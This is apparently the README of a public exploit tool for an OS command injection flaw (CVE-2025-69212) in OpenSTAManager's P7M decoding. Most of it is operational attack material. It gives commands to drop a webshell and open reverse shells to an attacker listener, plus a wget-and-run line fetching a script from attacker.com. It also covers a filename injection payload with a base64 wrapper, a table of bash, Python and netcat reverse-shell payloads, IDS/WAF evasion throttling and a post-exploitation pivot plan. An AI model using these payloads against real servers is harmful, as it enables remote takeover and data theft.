OpenSTAManager v2.9.8 and earlier versions contain a critical OS Command Injection vulnerability in the P7M (signed XML) file decoding function.
| Field | Details |
|---|
| CVE ID | CVE-2025-69212 |
| Severity | CRITICAL (CVSS 4.0: 9.4) |
| CWE | CWE-78: OS Command Injection |
| Affected Versions | OpenSTAManager <= 2.9.8 |
| Vulnerable Function | XML::decodeP7M() in src/Util/XML.php |
| Attack Vector | Malicious filename in uploaded ZIP archive |
| Authentication | Required (any user with invoice import access) |
| Impact | Full Remote Code Execution as web server user |
OpenSTAManager v2.9.8 and earlier versions contain a critical OS Command Injection vulnerability in the P7M (signed XML) file decoding function. The decodeP7M() method in src/Util/XML.php passes user-controlled filenames directly into PHP's exec() function without sanitization, allowing authenticated attackers to execute arbitrary system commands on the server.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
The $file parameter — which originates from filenames inside uploaded ZIP archives — is wrapped in double quotes but never sanitized with escapeshellarg(). An attacker can craft a .p7m filename that escapes the double-quote context and injects arbitrary shell commands.
plugins/importFE_ZIP/actions.php:126 — Primary vector when processing ZIP uploads containing electronic invoicesplugins/importFE/src/FatturaElettronica.php:56 — Constructor that processes individual .p7m files| Feature | Description |
|---|---|
--check | Verify if target is vulnerable (creates and checks a marker file) |
--webshell | Deploy a PHP webshell via OS command injection |
--rce | Interactive command execution through deployed webshell |
--reverse-shell | Trigger a reverse shell (python, nc, nc-e methods) |
--cmd | Blind command execution (fire-and-forget) |
--shell-dir | Custom webshell write directory |
--method | Reverse shell method selection |
--proxy | HTTP proxy support (Burp Suite) |
--delay | Request throttling for IDS/WAF evasion |
| Auto-detection | Automatic discovery of importFE_ZIP module/plugin IDs |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p secret --check
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# Auto-detect plugin and verify vulnerability
python3 exploit.py -t http://target.com -u admin -p secret --check
# With known module/plugin IDs
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# Deploy webshell to default directory (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Custom directory and filename
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# Deploy webshell + interactive shell
python3 exploit.py -t http://target.com -u admin -p secret --rce
# With existing webshell from previous run
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Bash reverse shell (default, very reliable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Python reverse shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# Execute a command (no output returned)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# Download and execute a payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# With request delay (2 seconds)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Target:
-t, --target Target base URL
Authentication:
-u, --user Username for login
-p, --password Password for login
-c, --cookie Existing PHPSESSID value
Actions:
--check Verify if target is vulnerable
--webshell Deploy PHP webshell
--rce Interactive shell via webshell
--reverse-shell Reverse shell (LHOST LPORT)
--cmd COMMAND Blind command execution
Shell Options:
--shell-dir DIR Webshell write directory (default: files)
--shell-name NAME Custom webshell filename
--method METHOD Reverse shell method: bash, python, nc, nc-e
Plugin Detection:
--module-id ID OpenSTAManager module ID
--plugin-id ID importFE_ZIP plugin ID
Network:
--proxy URL HTTP proxy URL
-k, --no-ssl-verify Disable SSL verification
--delay SECONDS Delay between requests
The exploit crafts a ZIP archive containing a single .p7m file with a malicious filename:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
When OpenSTAManager processes this file, the resulting exec() call becomes:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
The shell interprets the semicolons as command separators, executing the injected command between the terminated openssl call and the trailing echo.
Critical: PHP's
ZipArchive::extractTo()treats forward slashes (/) in filenames as directory separators per the ZIP specification. Any/in the malicious filename will cause the archive entry to be split into directories, breaking the exploit payload.
All injected commands must avoid / entirely. To completely bypass this restriction and prevent PHP exec() from hanging (which can tie up server workers and cause timeouts), the exploit now automatically wraps payloads in Base64 and executes them in the background:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
This allows us to use / naturally inside the inner payload (e.g., /dev/tcp/10.10.14.5/4444) without breaking the ZIP structure.
| Method | Payload | Requires |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat with -e support |
The bash method is now the default as it is the most reliable and native method on Linux targets.
Upload ZIP via importFE_ZIP plugin
└── actions.php dispatches to plugin handler
└── ZipArchive::extractTo() extracts files
└── Iterates .p7m files
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── Shell interprets injected commands
1. --check → Confirm RCE via marker file
2. --webshell → Drop PHP shell to files/ directory
3. --rce → Interactive command execution
4. Enumerate → id, cat /etc/passwd, ifconfig
5. Pivot → Reverse shell to attacker, post-exploitation
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author assumes no liability for misuse.